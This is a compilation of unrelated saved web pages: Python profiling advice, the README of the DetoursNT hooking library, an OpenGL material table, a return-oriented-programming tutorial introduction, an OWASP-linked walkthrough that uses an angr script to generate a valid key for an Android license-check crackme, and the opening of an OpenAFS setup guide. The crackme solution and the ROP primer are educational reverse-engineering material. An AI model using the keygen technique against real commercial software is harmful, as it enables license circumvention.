up vote0down vote |  This would require a fair amount of work, but...you might consider using Floyd-Warshall running on a GPU. There has been a lot of work done on making Floyd-Warshall run very efficiently on a GPU. A quick google search yields: http://cvit.iiit.ac.in/papers/Pawan07accelerating.pdf http://my.safaribooksonline.com/book/programming/graphics/9780321545411/gpu-computing-for-protein-structure-prediction/ch43lev1sec2\#X2ludGVybmFsX0ZsYXNoUmVhZGVyP3htbGlkPTk3ODAzMjE1NDU0MTEvNDg3 http://www.gpucomputing.net/?q=node/1203 http://http.developer.nvidia.com/GPUGems2/gpugems2\_chapter43.html Even though, as implemented in Python, Floyd-Warshall was slower by an order of magnitude, a good GPU version on a powerful GPU might still significantly outperform your new Python code. Here's an anecdote. I had a short, simple, compute-intensive piece of code that did something similar to a hough accumulation. In Python, optimized as I could get it, it took ~7s on a speedy i7. I then wrote a completely non-optimized GPU version; it took ~0.002s on an Nvidia GTX 480. YMMV, but for anything significantly parallel, the GPU is likely to be a long term winner, and since it's a well-studied algorithm, you should be able to utilize existing highly-tuned code. For the Python / GPU bridge, I'd recommend PyCUDA or PyOpenCL. |  link |  answered 18 days ago tracing paper  
---|---  
up vote0down vote |  Have you considered Pyrex / Cython? It compiles python to C and then to .pyd automatically, so it might speed things up a fair bit without much work. |  link |  answered 18 days ago lure  
---|---  
up vote0down vote |  `node_after_b == node_a` will try to call `node_after_b.__eq__(node_a)`:
[code]

    >>> class B(object):... def __eq__(self, other):... print "B.__eq__()"... return False... >>> class A(object):... def __eq__(self, other):... print "A.__eq__()"... return False... >>> a = A()>>> b = B()>>> a == bA.__eq__()False>>> b == aB.__eq__()False>>>
    
[/code]

Try to override `Node.__eq__()` with an optimized version before resorting to
C. UPDATE I made this little experiment \(python 2.6.6\):

[code]

    #!/usr/bin/env python# test.pyclass A(object): def __init__(self, id): self.id = idclass B(A): def __eq__(self, other): return self.id == other.id@profiledef main(): list_a = [] list_b = [] for x in range(100000): list_a.append(A(x)) list_b.append(B(x)) ob_a = A(1) ob_b = B(1) for ob in list_a: if ob == ob_a: x = True if ob is ob_a: x = True if ob.id == ob_a.id: x = True if ob.id == 1: x = True for ob in list_b: if ob == ob_b: x = True if ob is ob_b: x = True if ob.id == ob_b.id: x = True if ob.id == 1: x = Trueif __name__ == '__main__': main()
    
[/code]

Results:

[code]

    Timer unit: 1e-06 sFile: test.py Function: main at line 10 Total time: 5.52964 sLine # Hits Time Per Hit % Time Line Contents============================================================== 10 @profile 11 def main(): 12 1 5 5.0 0.0 list_a = [] 13 1 3 3.0 0.0 list_b = [] 14 100001 360677 3.6 6.5 for x in range(100000): 15 100000 763593 7.6 13.8 list_a.append(A(x)) 16 100000 924822 9.2 16.7 list_b.append(B(x)) 17 18 1 14 14.0 0.0 ob_a = A(1) 19 1 5 5.0 0.0 ob_b = B(1) 20 100001 500454 5.0 9.1 for ob in list_a: 21 100000 267252 2.7 4.8 if ob == ob_a: 22 x = True 23 100000 259075 2.6 4.7 if ob is ob_a: 24 x = True 25 100000 539683 5.4 9.8 if ob.id == ob_a.id: 26 1 3 3.0 0.0 x = True 27 100000 271519 2.7 4.9 if ob.id == 1: 28 1 3 3.0 0.0 x = True 29 100001 296736 3.0 5.4 for ob in list_b: 30 100000 472204 4.7 8.5 if ob == ob_b: 31 1 4 4.0 0.0 x = True 32 100000 283165 2.8 5.1 if ob is ob_b: 33 x = True 34 100000 298839 3.0 5.4 if ob.id == ob_b.id: 35 1 3 3.0 0.0 x = True 36 100000 291576 2.9 5.3 if ob.id == 1: 37 1 3 3.0 0.0 x = True
    
[/code]

I was very surprised:

  * "dot" access \(ob.property\) seems to be very expensive \(line 25 versus line 27\).
  * there was not much difference between is and '==', at least for simple objects

Then I tried with more complex objects and results are consistent with the
first experiment. Are you swapping a lot? If your dataset is so large that it
does not fit available RAM, I guess you may experience some kind of I/O
contention related to virtual memory fetches. Are you running Linux? If so,
could you post a vmstat of your machine while running your program? Send us
the output of something like:

[code]

    vmstat 10 100
    
[/code]

Good luck\! UPDATE \(from comments by OP\) I sugested playing with
sys.setcheckinterval and enable/disable the GC. The rationale is that for this
particular case \(huge number of instances\) the default GC reference count
check is somewhat expensive and its default interval is away too often.

> Yes, I had previously played with sys.setcheckinterval. I changed it to 1000
> \(from its default of 100\), but it didn't do any measurable difference.
> Disabling Garbage Collection has helped - thanks. This has been the biggest
> speedup so far - saving about 20% \(171 minutes for the whole run, down to
> 135 minutes\) - I'm not sure what the error bars are on that, but it must be
> a statistically significant increase. – Adam Nellis Feb 9 at 15:10
My guess:

> I think the Python GC is based on reference count. From time to time it will
> check the reference count for every instance; since you are traversing these
> huge in-memory structures, in your particular case the GC default frequency
> \(1000 cycles?\) is away too often - a huge waste. – Yours Truly Feb 10 at
> 2:06
|  link  
---

# wbenny/DetoursNT

**Created:**| _9/23/2018 8:53:29 AM_  
---|---  
**Updated:**| _9/23/2018 8:53:29 AM_  
**Author:**| _wishi_  
**Tags:**| _Debugging binary instrumentation_  
  

  

# DetoursNT

DetoursNT is a simple project with one goal - make Detours dependent only on
`NTDLL.DLL` without any modifications of the original code.

### Why?

  * Because this way you can hook native processes.
  * Because this way you can load your hooking library **right after** load of `NTDLL.DLL`
    * This can be achieved in many ways - for example using Windows Driver via so-called APC injection. You can look at my project KeInject to get an idea about how is this done.

### How?

This repository has attached original git repository of Detours from Microsoft
as a submodule. Therefore, the original code hasn't been touched in any way.

NTDLL-only dependency been achieved by creating a C header file DetoursNT.h
which has been force-included \(`/FI` switch of MSVC\) into every compilation
unit of Detours. This header mocks functions of `KERNEL32.DLL` to custom
implementation defined in DetoursNT.cpp.

I'd like to thank authors of following projects:

  * ReactOS \- used for implementation of `KERNEL32.DLL` functions
  * ProcessHacker \- used for prototypes of `NTDLL.DLL` functions

### Compilation

Because original Detours source code is attached as a git submodule, you must
not forget to fetch it:

`git clone --recurse-submodules https://github.com/wbenny/DetoursNT`

After that, compile **DetoursNT** using Visual Studio 2017. Solution file is
included. No other dependencies are required.

### Usage

After you hit `F7` in Visual Studio and have everything compiled, you can
check that `SampleHookDLL.dll` indeed depends only on `NTDLL.DLL`:

<img src='img/depends.png' width='576' height='519' alt='Dependency Walker' />

This hooking DLL only hooks `NtTestAlert` function for demonstrative purposes.
In this repository there is also `Sample` project. It's only purpose is to
call `LoadLibrary(TEXT("SampleHookDLL.dll"))`, `NtTestAlert()` and
`FreeLibrary()` to show you that the hook is working.

<img src='img/14152_sample.png' width='576' height='228' alt='Sample' />

### Remarks

  * This implementation intentionally crashes on SEH exceptions which occur inside of Detours. This is because SEH handlers are usually located in CRT \(which is ommited here\).
  * Only x86 and x64 is currently supported.

### License

This software is open-source under the MIT license. See the LICENSE.txt file
in this repository.

Detours is licensed under MIT license \(a copy of the license is included in
separate git submodule\)

If you find this project interesting, you can buy me a coffee

[code]

      BTC 12hwTTPYDbkVqsfpGjrsVa7WpShvQn24ro
      LTC LLDVqnBEMS8Tv7ZF1otcy56HDhkXVVFJDH
    
[/code]

  

# Surface Materials

**Created:**| _11/10/2011 3:20:09 PM_  
---|---  
**Updated:**| _11/10/2011 3:20:09 PM_  
**Author:**| __  
**Tags:**| _Opengl_  
  

# Surface Materials for OpenGL

This table shows paramemters used to achieve the effects of various surface
materials in OpenGL. Ambient, diffuse, and specular reflection coefficients
are represented as \(R, G, B\) tuples; the specular exponent is a single
value. These values should be passed to the **glMaterial** function using the
given property names \(in parentheses in the heading\). Values are from F.S.
Hill's **Computer Graphics Using OpenGL** , 2nd edition, Prentice Hall
\(2001\), page 423.

**Material**| **Ambient  
Reflection  
\(GL\_AMBIENT\)**| **Diffuse  
Reflection  
\(GL\_DIFFUSE\)**| **Specular  
Reflection  
\(GL\_SPECULAR\)**| **Specular  
Exponent  
\(GL\_SHININESS\)**  
---|---|---|---|---  
Black Plastic| 0.0,  
0.0,  
0.0| 0.01,  
0.01,  
0.01| 0.5,  
0.5,  
0.5| 32  
Brass| 0.329412,  
0.223529,  
0.027451 | 0.780392,  
0.568627,  
0.113725 | 0.992157,  
0.941176,  
0.807843 | 27.8974  
Bronze| 0.2125,  
0.1275,  
0.054 | 0.714,  
0.4284,  
0.18144 |  0.393548,  
0.271906,  
0.166721 | 25.6  
Chrome| 0.25,  
0.25,  
0.25| 0.4,  
0.4,  
0.4| 0.774597,  
0.774597,  
0.774597| 76.8  
Copper| 0.19125,  
0.0735,  
0.0225| 0.7038,  
0.27048,  
0.0828 | 0.256777,  
0.137622,  
0.086014 | 12.8  
Gold| 0.24725,  
0.1995,  
0.0745 | 0.75164,  
0.60648,  
0.22648 | 0.628281,  
0.555802,  
0.366065 | 51.2  
Peweter| 0.10588,  
0.058824,  
0.113725 | 0.427451,  
0.470588,  
0.541176 |  0.3333,  
0.3333,  
0.521569  | 9.84615  
Silver| 0.19225,  
0.19225,  
0.19225 | 0.50754,  
0.50754,  
0.50754| 0.508273,  
0.508273,  
0.508273| 51.2  
Polished Silver| 0.23125,  
0.23125,  
0.23125| 0.2775,  
0.2775,  
0.2775| 0.773911,  
0.773911,  
0.773911| 89.6

# Return Oriented Programming Series Introduction

**Created:**| _9/23/2018 9:01:48 AM_  
---|---  
**Updated:**| _9/23/2018 9:01:48 AM_  
**Author:**| _wishi_  
**Tags:**| _rop tutorial_  
  

  

# Return Oriented Programming Series Introduction

**This post is divided into two sections:**

### Purpose

Return Oriented Programming seems like arcane magic to many. It involves low-
level understanding of systems, and can very quickly become overwhelming for
the new eye. This series aims to teach ROP in a reader-friendly way. I will
cover areas just enough so that you can get the gist of them, and it will be
up to you, the reader, to dig in further and learn more.

You don’t need to learn the entire mechanics of swimming in order to swim, do
you? A basic understanding is more than enough. Now, if you want to become a
competitive or a good swimmer, you learn more about the different techniques
used, exercises to do, etc. It’s the same with everything else. So, grab a
coffee, tea, or whatever is your thing, sit back, relax, and enjoy.

The series will cover Capture The Flag \(CTF\) competitions, wargames, and
real-world exploits. The aim is to teach the reader, via write-ups, how to
exploit binaries by using ROP.

A surgeon doesn’t start his learning journey by opening up a human and
figuring out what goes where. The future surgeon first learns about the body,
its concepts. Then, she starts operating on frogs, mice, and other small
animals, with the help of others. Eventually, she starts operating on actual
humans with the assistance of others. Finally, she takes lead in performing
surgery, while still receiving help.

I bring up surgeons as a way to demonstrate that all learning is the same. You
will, at first, need a lot of assistance. Once you become proficient enough,
you will be able to do things by yourself, although you might still need the
help of others; be it through searching online or collaborating with someone.
There’s nothing bad to it. This series is to help you out with the initial
steps, with not too much hand-holding, but sufficient explanations.

### Introduction to Return Oriented Programming

**The simple idea:**

Return Oriented Programming \(ROP\) or Return-To-Libc, is a binary
exploitation technique where program flow is manipulated by utilizing
available functions in order to achieve a particular goal. ROP is able to
bypass security mechanisms such as a Non-Executable Stack due to the fact that
it lives off the land, off what’s already available.

**The details:**

The name ROP is given because developers utilize a series of Assembly
instructions which end with RET \(return\) that perform a particular operation
and then transfer \(or return\) control to the return address located in the
stack.

These series of Assembly instructions are called gadgets. Gadgets can be used
by the developer in order to form a chain of commands that helps them achieve
their goal. For example, if the developer was dealing with a 64-bit binary and
wanted to overwrite the argument passed to system\(\), she would look for a
POP RDI; RET; gadget.

If this all looks confusing, don’t worry\! I will provide more details below.

The name Return-To-Libc is given because exploit developers utilize libc
functions, such as system\(\), which are available to the binary, in order to
overwrite return addresses and alter program flow. For example, the program
might be using the fgets\(\) function to do some operation, and we can
overwrite the call to fgets\(\) with a call to system\(\), so that when the
program tries to call fgets\(\), it will actually call system\(\).

**Prerequisite Knowledge Reference:**

The following are some concepts that are important to understand in order to
do ROP. I will provide useful bits that you can reference back to when in need
of help. That said, for a better understanding, look them up in your favorite
search engine and learn more.

**Concepts:**

  * Stack
  * Stack Frames
  * System Calls
  * Calling Conventions
  * Buffer Overflow
  * Segments
  * Global Offset Table \(GOT\)
  * Procedure Linkage Table \(PLT\)
  * Security Mechanisms
  * Data Execution Prevention \(DEP\)
  * Address Space Layout Randomization \(ASLR\)
  * RELocation Read-Only \(RELRO\)

What follows are some useful bits that you can reference back to when reverse
engineering or developing an exploit.

**Stack**

The stack is a Last-In-First-Out \(LIFO\) system, just like a real stack of
plates or trays is.

<img src='img/stack.jpg' width='576' height='328' alt='stack' />

If we look at the function**read**\(**int** _fd_ , **void** _\*buf_ ,
**size\_t** _count_\); then the file descriptor \(fd\) is the red plate, the
buffer \(buf\) is the orange plate, and count is the yellow plate.

When the computer reads this function from the stack, it will grab \(or pop\)
the yellow plate \(count\) before it grabs the orange plate \(buf\).

This will make even more sense when you think in terms of stack frames.

**Stack Frames**

Visualizing a stack frame will help more than just text. Below is the
structure of a stack frame.

+———————-+ **< \- start of function’s stack frame**  
| Parameters | <\- function parameters  
+———————-+  
| … | <\- there are as many blocks as there are parameters  
+———————-+  
| … |  
+———————-+  
| ret addr | <\- the return address; where the function returns  
+———————-+  
| frame ptr | <\- frame pointer; address of the stack pointer before the function is called  
+———————-+  
| variables | <\- function’s local variables  
+———————-+

If we look at a real function, let’s say read\(\), then it will look like
this:

+———————-+ **< \- start of read\(\)’s stack frame**  
| size\_t count |  
+———————-+  
| void \*buf |  
+———————-+  
| int fd |  
+———————-+  
| \[ret address\] |  
+———————-+  
| frame pointer |  
+———————-+  
| local vars |  
+———————-+

Visualizing stack frames in such a way is useful when using or overwriting a
function. In fact, you can write your exploit script in such a way that your
payload follows this structure; making it easier to understand what you’re
doing.

**System Calls**

The best references for system calls are Linux Syscall Reference and the MAN
command.

The former will not only show you the structure of the system call, but also
link you to the MAN page.

**Calling Conventions**

32-bit and 64-bit systems differ in how function arguments are passed. Below a
quick reference.

**32-Bit**

**Parameter order:** eax, ebx, ecx, edx, esi, edi, ebp

Where EAX contains the Syscall ID.

**64-Bit**

**Parameter order:** rdi, rsi, rdx, rcx, r8, r9

I recommend you make a virtual \(and perhaps even physical\) sticky note of
the parameter order for both 32-bit and 64-bit. You will find yourself
referencing back to it often, until you can recall it from memory.

**Segments**

Segments are portions of the virtual address space of a program. They contain
different information and have different permissions, such as Read-Write-
Allocate-Execute.

Let’s look at two segments, and the rest are up to you, the reader, to look
up.

**Data Segment:**

  * Stores data \(global variables\)
  * **Composed of:** .data, .bss, .rodata
  * **Permissions:** read-write \(RW\), .rodata is read-only \(RO\)
  * Accessed through normal registers \(eax, ebx, ecx, edx\)

**Text Segment:**

  * Stores code
  * Read only \(RO\) and executable \(X\)
  * Instruction Pointer / Program Counter points to current instruction
  * Libraries possess code segment
  * Instruction pointer may jump to library code

Understanding segments is important in cases when you might want to write to
memory. Knowing where you’re able to write and where is most reliable is
critical to writing a reliable exploit.

**Moving Forward**

I will be expanding this post based on reader feedback. That may mean covering
certain areas in more depth, introducing other concepts, and/or changing
wording. Suggestions are always welcome.

  

# Vantage Point Security

**Created:**| _5/12/2017 1:07:18 PM_  
---|---  
**Updated:**| _5/12/2017 1:07:18 PM_  
**Author:**| __  
**Tags:**| _mobile/embedded symbolic exec_  
  

  

Binary analysis frameworks provide you powerful ways of automating tasks that
would be almost impossible to complete manually. In this blog, we'll have a
look at Angr, a Python framework for analyzing binaries that is useful for
both static and dynamic symbolic \("concolic"\) analysis. Angr operates on the
VEX intermediate language of Valgrind fame. It comes with a loader dubbed "CLE
Loads Everything", which isn't entirely accurate, but it _does_ load ELF/ARM
executables, so it is good enough for dealing with Android native libraries.

Our target program is a simple license key validation program. Granted, you
won't often find something like this in the Play Store, but it should be
useful enough to demonstrate the basics of symbolic analysis, and hopefully
induce that awe-inspiring moment where one realizes how awesome that new
concept they just fully understood  _actually_ _is_. You can use these
techniques in many creative ways on obfuscated Android binaries \(you'll find
that obfuscated code is often put into native libraries to make it more
diffcult to tackle\).

## Symbolic Execution

In the late 2000s, symbolic-execution based testing has gained popularity as a
means of identifying security vulnerabilities. Symbolic "execution" actually
refers to the process of representing possible paths through a program as
formulas in first-order logic, whereby variables are represented by symbolic
values. By using SMT solvers to verify satisfyability and providing solutions
to those formulas, we can obain the concrete values needed to reach any
\(reachable\) point of execution.

Very simply put, the process works as follows:

  1. Translate a path through a program into a logical formula, whereby some of the state is represented symbolically.
  2. Solve the formula.
  3. Profit\!\!

<img src='img/content_cat-600x318.png' width='200' height='200' />This was the
reductionist account - in reality things are a bit more complex. The execution
engine first enumerates many possible paths through the program - every branch
is taken and not taken at the same time \(not literally as in Schrödinger's
cat, but in a beautifully abstract way\). For each branch taken, the engine
saves the contstraints imposed by the branch condition on the symbolic
variable the branch depends on. You'll end up with a large number of "path
formulas" - each of those describes a possible path through the program. Pick
your preferred path and solve the associated formula, and voila\! You get the
input variables required to cover that exact path.

However, solving the formula \(or even determining it's satisfiability\) is
actually the hard part. To understand how this works, let's recall Boolean
satisfiability \(SAT\) problems. SAT is the problem of determining whether a
propositional logic formula, such as \(x1 ∨ ¬x2\) ∧ \(¬x1 ∨ x2 ∨ x3\), is
satisfiable \(meaning, is it possible to generate a true result given the
right inputs\). Propositional logic is however insufficient for encoding all
possible constraints occuring in our programs: After all, branch decisions
could depend on pretty complex relations between symbolic values.

We therefore need to extend the Boolean SAT instance to a satisfiability
modulo theory \(SMT\) instance. SMT allows us to replace some of the binary
variables in the SAT formula with predicates over a suitable set of non-binary
variables. The output of each predicate is a binary value. A predicate in
linear algebra might for example be "2x + 3y > 1". So, for example, a
particular branch might be taken when "2x - 3y > 1" is satisfied \(x and y are
symbolic variables\). Makes sense right?

Every path formula is represented as SMT problem. The SAT solver responsible
for cracking the problem simply passes conjunctions of theory predicates to
specialized solvers for the respective _theories_ , such as linear arithmetic,
nonlinear arithmetic, and bitvectors. Ultimately, the problem is reduced to a
plain old Boolean SAT instance that the SAT solver can handle.

If you, like me, preferred building custom pinball tables on the school desk
and/or writing fantasy novels during math classes, this "excourse" might have
been a bit overwhelming. I promise however that these are highly fascinating
topics, and I'm including some links on mathematical logic and symbolic
execution below.

## A Usage Example

Amongst many other things, symbolic execution is useful in cases where we need
to find the right inputs for reaching a certain block of code. In the
following example, we'll use Angr to solve a simple Android crackme in an
automated fashion. The crackme takes the form of a native ELF binary that can
be downloaded here:

https://github.com/angr/angr-
doc/tree/master/examples/android\_arm\_license\_validation

### Installing Angr

Angr is written in Python 2 and available from PyPI. It is easy to install on
\*nix operating systems and Mac OS using pip:

[code]

    $ pip install angr
[/code]

  
It is recommended to create a dedicated virtual environment with Virtualenv as
some of its dependencies contain forked versions Z3 and PyVEX that overwrite
the original versions \(you may skip this step if you don't use these
libraries for anything else - on the other hand, using Virtualenv is always a
good idea\).

Quite comprehensive documentation for angr is available on Gitbooks, including
an installation guide, tutorials and usage examples. A complete API reference
is also available.

Running the executable on any Android device should give you the following
output.

[code]

    $ adb push validate /data/local/tmp
    [100%] /data/local/tmp/validate
    $ adb shell chmod 755 /data/local/tmp/validate
    $ adb shell /data/local/tmp/validate
    Usage: ./validate <serial>
    $ adb shell /data/local/tmp/validate 12345
    Incorrect serial (wrong format).
[/code]

  
So far, so good, but we really know nothing about how a valid license key
might look like. Where do we start? Let's fire up IDA Pro to get a first good
look at what is happening.

<img src='img/content_license-check-1.jpg' width='800' height='600' />

The main function is located at address 0x1874 in the disassembly \(note that
this is a PIE-enabled binary, and IDA Pro chooses 0x0 as the image base
address\). Function names have been stripped, but luckily we can see some
references to debugging strings: It appears that the input string is
base32-decoded \(call to _sub\_1340_\). At the beginning of main, there's also
a length check at _loc\_1898_ that verifies that the length of the input
string is exactly 16. So we're looking for a 16 character base32-encoded
string\! The decoded input is then passed to the function _sub\_1760_ , which
verifies the validity of the license key.

The 16-character base32 input string decodes to 10 bytes, so we know that the
validation function expects a 10 byte binary string. Next, we have a look at
the core validation function at 0x1760:

[code]

    .text:00001760 ; =============== S U B R O U T I N E =======================================
    .text:00001760
    .text:00001760 ; Attributes: bp-based frame
    .text:00001760
    .text:00001760 sub_1760                                ; CODE XREF: sub_1874+B0
    .text:00001760
    .text:00001760 var_20          = -0x20
    .text:00001760 var_1C          = -0x1C
    .text:00001760 var_1B          = -0x1B
    .text:00001760 var_1A          = -0x1A
    .text:00001760 var_19          = -0x19
    .text:00001760 var_18          = -0x18
    .text:00001760 var_14          = -0x14
    .text:00001760 var_10          = -0x10
    .text:00001760 var_C           = -0xC
    .text:00001760
    .text:00001760                 STMFD   SP!, {R4,R11,LR}
    .text:00001764                 ADD     R11, SP, #8
    .text:00001768                 SUB     SP, SP, #0x1C
    .text:0000176C                 STR     R0, [R11,#var_20]
    .text:00001770                 LDR     R3, [R11,#var_20]
    .text:00001774                 STR     R3, [R11,#var_10]
    .text:00001778                 MOV     R3, #0
    .text:0000177C                 STR     R3, [R11,#var_14]
    .text:00001780                 B       loc_17D0
    .text:00001784 ; ---------------------------------------------------------------------------
    .text:00001784
    .text:00001784 loc_1784                                ; CODE XREF: sub_1760+78
    .text:00001784                 LDR     R3, [R11,#var_10]
    .text:00001788                 LDRB    R2, [R3]
    .text:0000178C                 LDR     R3, [R11,#var_10]
    .text:00001790                 ADD     R3, R3, #1
    .text:00001794                 LDRB    R3, [R3]
    .text:00001798                 EOR     R3, R2, R3    ; Aha! You're XOR-ing a byte with the byte next to it. In a loop! You bastard.
    .text:0000179C                 AND     R2, R3, #0xFF
    .text:000017A0                 MOV     R3, #0xFFFFFFF0
    .text:000017A4                 LDR     R1, [R11,#var_14]
    .text:000017A8                 SUB     R0, R11, #-var_C
    .text:000017AC                 ADD     R1, R0, R1
    .text:000017B0                 ADD     R3, R1, R3
    .text:000017B4                 STRB    R2, [R3]
    .text:000017B8                 LDR     R3, [R11,#var_10]
    .text:000017BC                 ADD     R3, R3, #2
    .text:000017C0                 STR     R3, [R11,#var_10]
    .text:000017C4                 LDR     R3, [R11,#var_14]
    .text:000017C8                 ADD     R3, R3, #1
    .text:000017CC                 STR     R3, [R11,#var_14]
    .text:000017D0
    .text:000017D0 loc_17D0                                ; CODE XREF: sub_1760+20
    .text:000017D0                 LDR     R3, [R11,#var_14]
    .text:000017D4                 CMP     R3, #4
    .text:000017D8                 BLE     loc_1784
    .text:000017DC                 LDRB    R4, [R11,#var_1C] ; Now you're comparing the xor-ed bytes with values retrieved from - somewhere...
    .text:000017E0                 BL      sub_16F0
    .text:000017E4                 MOV     R3, R0
    .text:000017E8                 CMP     R4, R3
    .text:000017EC                 BNE     loc_1854
    .text:000017F0                 LDRB    R4, [R11,#var_1B]
    .text:000017F4                 BL      sub_170C
    .text:000017F8                 MOV     R3, R0
    .text:000017FC                 CMP     R4, R3
    .text:00001800                 BNE     loc_1854
    .text:00001804                 LDRB    R4, [R11,#var_1A]
    .text:00001808                 BL      sub_16F0
    .text:0000180C                 MOV     R3, R0
    .text:00001810                 CMP     R4, R3
    .text:00001814                 BNE     loc_1854
    .text:00001818                 LDRB    R4, [R11,#var_19]
    .text:0000181C                 BL      sub_1728
    .text:00001820                 MOV     R3, R0
    .text:00001824                 CMP     R4, R3
    .text:00001828                 BNE     loc_1854
    .text:0000182C                 LDRB    R4, [R11,#var_18]
    .text:00001830                 BL      sub_1744
    .text:00001834                 MOV     R3, R0
    .text:00001838                 CMP     R4, R3
    .text:0000183C                 BNE     loc_1854
    .text:00001840                 LDR     R3, =(aProductActivat - 0x184C)  ; This is where we want to be!
    .text:00001844                 ADD     R3, PC, R3      ; "Product activation passed. Congratulati"...
    .text:00001848                 MOV     R0, R3          ; char *
    .text:0000184C                 BL      puts
    .text:00001850                 B       loc_1864
    .text:00001854 ; ---------------------------------------------------------------------------
    .text:00001854
    .text:00001854 loc_1854                                ; CODE XREF: sub_1760+8C
    .text:00001854                                         ; sub_1760+A0j ...
    .text:00001854                 LDR     R3, =(aIncorrectSer_0 - 0x1860) ; This is where we DON'T wanna be!
    .text:00001858                 ADD     R3, PC, R3      ; "Incorrect serial."
    .text:0000185C                 MOV     R0, R3          ; char *
    .text:00001860                 BL      puts
    .text:00001864
    .text:00001864 loc_1864                                ; CODE XREF: sub_1760+F0
    .text:00001864                 SUB     SP, R11, #8
    .text:00001868                 LDMFD   SP!, {R4,R11,PC}
    .text:00001868 ; End of function sub_1760
[/code]

We can see a loop with some XOR-magic happening at _loc\_1784_ , which
supposedly decodes the input string. Starting from _loc\_17DC,_ we see a
series of comparisons of the decoded values with values obtained from further
sub-function calls. Even though this doesn't look like highly sophisticated
stuff, we'd still need to do some more analysis to completely reverse this
check and generate a license key that passes it. But now comes the twist: By
using dynamic symbolic execution, we don't actually have to do any further
analysis\! The symbolic execution engine can map a path between the first
instruction of the license check \(0x1760\) and the code printing the "Product
activation passed" message \(0x1840\) and determine the constraints on each
byte of the input string. The solver engine then finds the input values that
satisfy those constraints: The valid license key.

We only need to provide several inputs to the symbolic execution engine:

\* The address to start execution from. We initialize the state with the first
instruction of the serial validation function. This makes the task
significantly easier \(and in this case, almost instant\) to solve, as we
avoid symbolically executing the Base32 implementation.

\* The address of the code block we want execution to reach. In this case, we
want to find a path to the code responsible for printing the "Product
activation passed" message. This block starts at 0x1840.

\* Addresses we don't want to reach. In this case, we're not interesting in
any path that arrives at the block of code printing the "Incorrect serial"
message, at 0x1854.

Note that Angr loader will load the PIE executable with a base address of
0x400000, so we have to add this to the addresses above. The solution looks as
follows.

[code]

    #!/usr/bin/python
    
    # This is how we defeat the Android license check using Angr!
    # The binary is available for download on GitHub:
    # https://github.com/b-mueller/obfuscation-metrics/tree/master/crackmes/android/01_license_check_1
    # Written by Bernhard -- bernhard [dot] mueller [at] owasp [dot] org
    
    import angr
    import claripy
    import base64
    
    load_options = {}
    
    # Android NDK library path:
    load_options['custom_ld_path'] = ['/Users/berndt/Tools/android-ndk-r10e/platforms/android-21/arch-arm/usr/lib']
    
    b = angr.Project("./validate", load_options = load_options)
    
    # The key validation function starts at 0x401760, so that's where we create the initial state.
    # This speeds things up a lot because we're bypassing the Base32-encoder.
    
    state = b.factory.blank_state(addr=0x401760)
    
    initial_path = b.factory.path(state)
    path_group = b.factory.path_group(state)
    
    # 0x401840 = Product activation passed
    # 0x401854 = Incorrect serial
    
    path_group.explore(find=0x401840, avoid=0x401854)
    found = path_group.found[0]
    
    # Get the solution string from *(R11 - 0x24).
    
    addr = found.state.memory.load(found.state.regs.r11 - 0x24, endness='Iend_LE')
    concrete_addr = found.state.se.any_int(addr)
    solution = found.state.se.any_str(found.state.memory.load(concrete_addr,10))
    
    print base64.b32encode(solution)
    
    
[/code]

Note the last part of the program where the final input string is obtained -
it appears if we were simply reading the solution from memory. We are however
reading from  _symbolic memory_ -_neither the string nor the pointer to it
actually exist\!_ What's __ really happening is that the solver is computing
possible _concrete_ values that _could_ be found at that program state, would
we observer the actual program run to that point.

Running the script should return the following:

[code]

    (angr) $ python solve.py
    WARNING | 2017-01-09 17:17:03,664 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
    JQAE6ACMABNAAIIA
    
[/code]

The final license key\! Inputting this into the program should yield a success
message.

## TL/DR

Symbolic execution is a great technique with many applications in
vulnerability discovery, de-obfuscation and reverse engineering. Check the
links below for more information.

This article is part of the Mobile Reverse Engineering Unleashed series. Click
the blue label on the top of this page to list orther articles in this series.

## About the OWASP Mobile Security Testing Guide

I wrote this howto for the OWASP Mobile Security Testing Guide \(MSTG\), a
manual for testing the security of mobile apps. The MSTG is an open source
effort and we welcome contributions and feedback. To discuss and contribute,
join the OWASP Mobile Security Project Slack Channel. You can sign up here:

http://owasp.herokuapp.com/

Also, check out the mobile crackmes we developed for the guide\!

## References

  * Angr - http:// http://angr.io
  * Axel Souchet, Jonathan Salwan, Jérémy Fetiveau - Keygenning with KLEE - http://doar-e.github.io/blog/2015/08/18/keygenning-with-klee/
  * Logic for Computer Science - http://www.cs.ru.nl/~herman/onderwijs/soflp2013/reeves-clarke-lcs.pdf
  * Concolic Testing: https://en.wikipedia.org/wiki/Concolic\_testing

If you know of any other great resources, let us know in the comments\!

## About the Author

Bernhard Mueller is a full-stack hacker, security researcher, and winner of
BlackHat's Pwnie Award.

Follow him on Twitter: @muellerberndt

  

# Kernel Mode Drivers

**Created:**| _12/11/2011 10:31:04 AM_  
---|---  
**Updated:**| _12/11/2011 10:31:04 AM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_4772.png' />http://www.freewebs.com/four-f/

# OpenAFS installation on Debian

**Created:**| _3/16/2010 10:45:55 AM_  
---|---  
**Updated:**| _3/16/2010 10:46:20 AM_  
**Author:**| __  
**Tags:**| _Linux Tutorials Lab-Setup Distributed systems Filesystem_  
  

## OpenAFS installation on Debian

Posted by docelic on Mon 4 Aug 2008 at 10:58

Tags: afs, infrastructure, nss, openafs, pam

The purpose of this article is to give you a straight-forward, Debian-friendly
way of installing and configuring OpenAFS 1.4.x, the recommended production
version of OpenAFS for UNIX. By the end of this guide, you will have a
functional OpenAFS installation that will complete our solution for secure,
centralized network logins with shared home directories.

The newest version of this article can be found at
http://techpubs.spinlocksolutions.com/dklar/afs.html.

* * *
**Table of Contents**

Introduction

    
The role of AFS within a network

Glue layer: integrating AFS with system software

    
PAM

Conventions

OpenAFS server

    
OpenAFS kernel module

OpenAFS installation

Pre-configuration

Creating a new cell

Post-configuration

Accessing the files

    
Basic listing and information

Read and write paths, replication

Reading and writing

Creating users

Creating and mounting volumes

Setting permissions

Serving metadata

    
LDAP

libnss-afs

Metadata test

PAM configuration

    
/etc/pam.d/common-auth

/etc/pam.d/common-session

Conclusion

Links

## Introduction

AFS distributed filesystem is a service that has been traditionally
captivating system administrators' and advanced users' interest, but its high
entry barrier and infrastructure requirements have been preventing many from
using it.

AFS has already been the topic of numerous publications. Here, we will present
only the necessary summary; enough information to establish the context and to
achieve practical results.

You do not need to follow any external links; however, the links have been
provided both throughout the article and listed all together at the end, to
serve as pointers to more precise technical treatment of individual topics.

AFS was started at Carnegie Mellon University in the early 1980s, in order to
easily share file data between people and departments. The system became known
